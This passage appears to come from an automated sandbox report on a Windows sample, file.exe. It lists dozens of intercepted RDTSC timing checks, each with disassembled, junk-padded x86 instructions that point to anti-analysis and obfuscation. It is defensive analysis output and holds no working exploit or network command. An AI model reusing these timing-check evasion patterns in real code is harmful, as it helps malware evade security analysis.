00007FE1C8D96866h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AEBA second address: 87AEBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BF35 second address: 87BF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BF3B second address: 87BF4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FE1C8D8FEB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884310 second address: 884324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D96870h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C0A second address: 883C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888680 second address: 888691 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888691 second address: 888695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888695 second address: 8886BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FE1C8D96873h 0x0000000f jnl 00007FE1C8D9686Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886BA second address: 8886CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jnl 00007FE1C8D8FEC0h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888765 second address: 888769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888AC second address: 8888B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EF2C second address: 88EF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 js 00007FE1C8D96866h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E16D second address: 88E185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE1C8D8FEB6h 0x0000000a jmp 00007FE1C8D8FEBEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E185 second address: 88E190 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E2F8 second address: 88E313 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jnp 00007FE1C8D8FEC4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FE1C8D8FEB6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E47C second address: 88E482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E482 second address: 88E488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E488 second address: 88E4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C8D96874h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C8D96876h 0x00000013 jne 00007FE1C8D96876h 0x00000019 jmp 00007FE1C8D96870h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E4D1 second address: 88E4DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE1C8D8FEB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E4DB second address: 88E4E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E640 second address: 88E646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E646 second address: 88E64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E64A second address: 88E64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E64E second address: 88E656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E921 second address: 88E930 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE1C8D8FEB8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EA9A second address: 88EAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jmp 00007FE1C8D96871h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EAB3 second address: 88EABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EABB second address: 88EAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EC2F second address: 88EC52 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE1C8D8FEB6h 0x00000008 jmp 00007FE1C8D8FEBEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 ja 00007FE1C8D8FED0h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EC52 second address: 88EC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE1C8D96866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EDAC second address: 88EDB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EDB1 second address: 88EDC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EDC1 second address: 88EDC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8762B1 second address: 8762CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE1C8D96874h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8772A5 second address: 8772A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8772A9 second address: 87733C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE1C8D96877h 0x00000010 popad 0x00000011 pop edi 0x00000012 nop 0x00000013 sub bh, 00000010h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d je 00007FE1C8D9686Eh 0x00000023 pushad 0x00000024 mov esi, dword ptr [ebp+122D2A31h] 0x0000002a popad 0x0000002b mov di, E507h 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FE1C8D96868h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov ebx, 7ABF6308h 0x00000055 mov eax, dword ptr [ebp+122D1459h] 0x0000005b push esi 0x0000005c mov dword ptr [ebp+1246DC74h], esi 0x00000062 pop edi 0x00000063 push FFFFFFFFh 0x00000065 or dword ptr [ebp+122D36FDh], ecx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jng 00007FE1C8D9686Ch 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87733C second address: 877340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877340 second address: 877345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879139 second address: 87913D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87913D second address: 87914F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FE1C8D96868h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87914F second address: 879155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879155 second address: 879159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A10E second address: 87A122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8940BE second address: 8940D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE1C8D96866h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8940D4 second address: 8940D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8940D8 second address: 8940F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FE1C8D96877h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828C1A second address: 828C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894672 second address: 894690 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C8D96879h 0x00000008 jmp 00007FE1C8D96873h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894969 second address: 894973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE1C8D8FEB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894973 second address: 894990 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96879h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894990 second address: 894999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894999 second address: 89499F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894AC8 second address: 894ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89884B second address: 89884F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814EB1 second address: 814EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861227 second address: 86122B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8612DC second address: 8612E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8612E3 second address: 8612E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8612E9 second address: 8612ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86165B second address: 861676 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861676 second address: 86167A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86167A second address: 861680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86188E second address: 861892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861C29 second address: 861C7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FE1C8D96875h 0x00000012 push 0000001Eh 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FE1C8D96868h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e sub edx, dword ptr [ebp+122D38B2h] 0x00000034 push eax 0x00000035 pushad 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861C7D second address: 861C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC1h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861E18 second address: 861E1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861F84 second address: 861FAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FE1C8D8FEC8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jnl 00007FE1C8D8FEB6h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861FAF second address: 862004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e jo 00007FE1C8D96868h 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 je 00007FE1C8D9687Eh 0x0000001f jmp 00007FE1C8D96878h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push ecx 0x00000029 pushad 0x0000002a jmp 00007FE1C8D96870h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862133 second address: 846C80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007FE1C8D8FEBAh 0x0000000f nop 0x00000010 and edi, dword ptr [ebp+122D2909h] 0x00000016 call dword ptr [ebp+12448CD6h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FE1C8D8FEC9h 0x00000024 jnp 00007FE1C8D8FEB6h 0x0000002a jmp 00007FE1C8D8FEBFh 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C80 second address: 846C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C8A second address: 846C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EF3D second address: 89EF43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F673 second address: 89F677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F677 second address: 89F67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4038 second address: 8A404E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC0h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A404E second address: 8A4060 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE1C8D9686Ch 0x00000008 ja 00007FE1C8D96866h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4060 second address: 8A4070 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A44D1 second address: 8A44FA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE1C8D96868h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C8D96877h 0x00000011 jg 00007FE1C8D96866h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4B25 second address: 8A4B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5483 second address: 8A548A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D06 second address: 8A3D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FE1C8D8FEBFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D23 second address: 8A3D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D28 second address: 8A3D30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D30 second address: 8A3D3A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE1C8D96866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7ABE second address: 8A7AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEBCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AD0 second address: 8A7AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AD7 second address: 8A7AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AF1 second address: 8A7AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AF5 second address: 8A7B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FE1C8D8FEC5h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7B12 second address: 8A7B17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A770F second address: 8A771A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A771A second address: 8A7720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA52D second address: 8AA540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA540 second address: 8AA549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA6C7 second address: 8AA6E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C8D8FEBEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA6E6 second address: 8AA6EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
